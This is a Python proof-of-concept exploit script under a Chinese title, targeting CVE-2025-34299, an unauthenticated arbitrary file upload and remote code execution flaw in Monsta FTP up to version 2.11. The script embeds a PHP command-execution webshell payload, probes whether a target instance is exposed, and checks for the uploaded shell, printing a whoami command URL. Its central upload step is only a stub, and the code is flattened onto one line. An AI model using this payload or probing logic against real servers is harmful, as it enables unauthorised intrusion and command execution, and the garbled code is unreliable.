CVE-2025-34299: Monsta FTP 2.11及之前版本未授权任意文件上传导致远程代码执行

#!/usr/bin/env python3 # CVE-2025-34299 PoC - Monsta FTP Unauthenticated Arbitrary File Upload # This PoC demonstrates the vulnerability in Monsta FTP <= 2.11 import requests import base64 import sys TARGET_URL = "http://target.com/monstaftp" # Update with target URL UPLOAD_PATH = "/" # Target upload path WEBSHELL_NAME = "shell.php" WEBSHELL_CONTENT = "<?php system($_GET['cmd']); ?>" def create_malicious_ftp_server(): """ Create a malicious FTP/SFTP server that serves malicious files This is a simplified representation of the attack vector """ print("[*] Setting up malicious FTP server...") print("[*] Attacker would host a malicious FTP/SFTP server") print("[*] The server contains crafted files for upload") return True def exploit_file_upload(): """ Exploit the unauthenticated file upload vulnerability Note: This is a conceptual PoC - actual exploitation requires understanding the specific Monsta FTP file transfer mechanism """ print(f"[*] Target: {TARGET_URL}") print(f"[*] Attempting to upload malicious file: {WEBSHELL_NAME}") # The actual exploit would involve: # 1. Connecting to target's Monsta FTP as attacker-controlled server # 2. Serving a malicious file when target downloads # 3. The file gets written to target server without authentication # Example HTTP request to check if Monsta FTP is exposed try: response = requests.get(TARGET_URL, timeout=10) if response.status_code == 200: print("[+] Monsta FTP instance is accessible") print("[*] Vulnerability requires victim to connect to attacker's FTP server") except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {e}") return False return True def verify_upload(file_path): """ Verify if the malicious file was uploaded successfully """ print(f"[*] Verifying upload at: {file_path}") try: verify_url = f"{TARGET_URL}/{WEBSHELL_NAME}" response = requests.get(verify_url, timeout=10) if response.status_code == 200 and "cmd" in response.text: print("[+] Webshell uploaded successfully!") print(f"[+] Access webshell at: {verify_url}?cmd=whoami") return True except: pass print("[-] Upload verification failed or file not accessible") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-34299 PoC - Monsta FTP Unauthenticated RCE") print("=" * 60) create_malicious_ftp_server() exploit_file_upload() print("\n[*] Note: This vulnerability is exploited via the Monsta FTP UI") print("[*] Attacker hosts malicious FTP server, victim connects and downloads") print("[*] The downloaded file is written to the target server")